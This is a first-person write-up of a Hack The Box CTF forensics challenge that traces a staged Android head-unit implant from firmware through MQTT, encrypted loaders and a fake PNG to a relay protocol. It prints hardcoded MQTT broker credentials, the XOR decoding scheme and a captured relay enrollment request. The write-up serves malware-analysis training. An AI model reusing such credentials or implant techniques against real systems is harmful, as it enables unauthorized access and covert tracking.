CTF spoilers ahead. Silent Passenger was a Hard Sherlock challenge from Hack The Box's Holmes CTF 2026: The Reichenbach Directive. All systems, infrastructure, identities, and events described here belong to the fictional challenge environment and were not harmed in the slaying of this CTF.

Event Hack The Box Holmes CTF 2026
Challenge Silent Passenger
Category Sherlock
Difficulty Hard
Team CIAT Cybersecurity Club
Recognition Team MVP

Silent Passenger arrived as an Android automotive head unit firmware image. It could have been a neat little APK, but today was not that day. I was not expecting such an exciting novella.

First things first, evidence preservation. I hashed the archive and firmware files, unpacked the image, and read-only mounted the Android filesystem. In the spirit of protecting my VM's storage, I was the overlord of every extraction. Android firmware expands quickly, and my Kali VM didn't have room for unlimited copies of the massive evidence set.

Firmware Triage

The mounted image was packed to the brim with system and vendor applications. I checked privileged placement, boot receivers, permissions, signing certificates, cleartext endpoints, and deleted APK candidates.

TDService and the FOTA packages were the first I dug into because their access and network behavior could modify the head unit. Applications were grouped by signing certificate, older APKs were recovered from deleted firmware entries, yet none connected the firmware to the delivery chain.

Privileged access and cleartext networking can initially seem like suspicious characters. Neither held the secrets of which application delivered the implant.

TWCore swept in to change that. Our unsung anti-hero provided the connection.

The package was stored here:

/system/priv-app/TWCore/TWCore.apk

I preserved its SHA256 before moving into decompilation:

d7569563cd0491e76d28a1c6a9929234ffffcf035194d2288d888dced7aa11c2

TWCore launched at boot, accessed location data, and referenced Baidu's trajectory tracking API. The decompiled code collected GPS points, uploaded individual points or batches, and accepted remote collection settings. It received configuration through an MQTT message handler.

The culprit had been detained.

All it took was one command to change GPS collection behavior and set the upload destination, and the handler was traced back to the MQTT callback. TWCore listened for both config changes sent to each head unit and commands sent to individual devices.

TWCore tied boot persistence, location collection, remote configuration, and an MQTT control channel together.

Regional MQTT Configuration

The application selected its backend config based on device region using locale and this Android system property:

ro.com.google.gmsversion

The affected branch pointed to the production Cardoor broker:

tcp://mqtt.car.cardoor.cn:1883

The MQTT client used hard coded application credentials:

Username: dofun
Password: dofun666666

TWCore listened for updates on several MQTT channels, including all configuration messages under...

dofun/car/config/#

I used the recovered creds to connect to Cardoor MQTT broker and subscribed to dofun/car/config/#.

The broker approved the subscription request. They then forwarded an update in the form of an MQTT response with instructions for a missing package in the mounted firmware:

Package: com.tw.jar1
Version: 12
MD5: 6c2e34b30da42085240ede53ab6107d4

We now had the package name, version, and MD5 needed to retrieve the next stage.

Reconstructing the Embedded Stage

I downloaded the missing APK and verified its metadata. The APK config was rigged for persistence aka it started when the Android system booted. It then requested permission to access device location and network connection.

The APK config also included background Android components capable of running tasks and receiving messages. To really make it the complete packaged deal, the APK was not the final payload. It's starring role was loading another executable stage.

The APK held a chunk of data arranged in a specific format. In other words, a blob. The blob uncovered the loader's class, method, and campaign channel 2039:

Class: com.c.j.qbh
Method: wa
Channel: 2039

The remaining bytes were reconstructed into another executable Android archive. I saved it as jarservice-stage2.apk, then opened it in JADX.

During the first decompilation, JADX left out crucial code. I reran the APK with bad code recovery and debug comments. Voila! The missing update logic finally appeared.

Word to the wise: if a decompiler makes a method body vanish, do not trust its first answer as the final word.

Stage two introduced itself as version 1.7 and contacted:

/api/rsaUpdate

The rsaUpdate request sent the user ID, DEX version and type, channel ID, package name, application version, and application name. The server encrypted its response with RSA utilizing keys stored inside the stage.

Once decrypted, a new path was revealed:

/vr34der34/dex3.68.png

Despite the .png extension, it was probably an encrypted or disguised DEX. The Just Hacking Training Malware Analysis class I'm taking is really upping my game.

Decoding dex3.68.png

Decoding dex3.68.png started with a five byte wrapper. The first byte described the payload type. The next four stored version 3.68 as a big endian floating point number:

Type: 1
Version: 3.68

The decoder multiplied the version by 100 yielding 368. Its low byte, 0x70, became the XOR key for the remaining data. I removed the wrapper, applied the XOR operation, and got valid APK and JAR magic.

The alleged PNG's cover was blown.

I saved the decoded output as jarservice-stage3.apk and opened it in JADX. The strings were obfuscated. No problemo. Decoding them revealed the initialization, registration, config, and task routes. The stage requested its live config, then registered through the challenge service.

Registration gave the implant a new UID:

00005bp

Retrieving the Implant Task

The implant used its new UID to request a task. The service responded:

Product ID: 4532
Task ID: 34337681
Version: 1787907664

The task pointed to the final module, sh66.io. I downloaded it and recorded its SHA256:

906734ebb9a274c5c83a22a4475e27354857d7b5b62a4ab6bb5d8d365692e963

The control stage loaded com.miyc.transfer.Client.start and passed four integers in this sequence:

9999, 7777, 8888, 20000

The module opened 2 socket connections. The first handled control messages. The second carried data. Direct HTTP requests that seemingly went to the web destination actually went nowhere. The module was not using a normal web route. Fine. I can deal with the smoke and mirrors. I needed to reproduce its socket protocol.

Reproducing the Relay Protocol

The control connection introduced itself with a binary registration frame. Splitting its fields gave me the opcode, build number, UID length, and assigned UID:

33 00000042 00000007 30303030356270
Opcode: 0x33
Build: 66
UID length: 7
UID: 00005bp

The relay answered with a job instruction and a short token. I sent the token over the paired data connection. One 164 byte HTTP request came back:

GET http://198.51.100.7/relay/enroll?relayId=00005bp&role=drone-control&latitude=51.4997000&longitude=-0.1608000 HTTP/1.1
Host: 198.51.100.7
Connection: close

Both connections closed immediately after the request. The internal destination was unreachable through the event VPN. Thankfully, the capture had already given me the relay identity, role, destination, and coordinates.

The coordinates:

51.4997000,-0.1608000

Challenge Completion

I had already reconstructed most of the malware chain when I realized the unfamiliar HTB interface had tucked twenty questions inside a collapsed panel.

WTH, Jenn.

Consider this my written commitment to myself to get on HTB more often.

My notes were controlled chaos. Thankfully, I document like a lunatic. The hashes, source excerpts, decrypted responses, task values, protocol fields, wrong turns, and corrected interpretations were already there. I used them to answer all twenty questions and complete the scenario.

Silent Passenger started with a firmware image packed with plausible suspects. Permissions, certificates, and cleartext endpoints gave me places to look. Did they expose the delivery chain? No. Behavior did. TWCore led to MQTT, MQTT delivered the loader, and when pressed, each stage forked over the instructions for the next.

The final request was hiding behind an APK, an embedded stage, an RSA encrypted response, a fake PNG, a registration flow, a task, and a custom two connection protocol. Say that five times without faltering.

Somewhere in that automotive firmware, a privileged vendor application was preparing to enroll itself as drone-control (insert dramatic movie trailer music here). The rest is now documented history.

Silent Passenger completion screen showing Scenario Pwned and 20 of 20 questions completed

Silent Passenger complete with all twenty questions answered.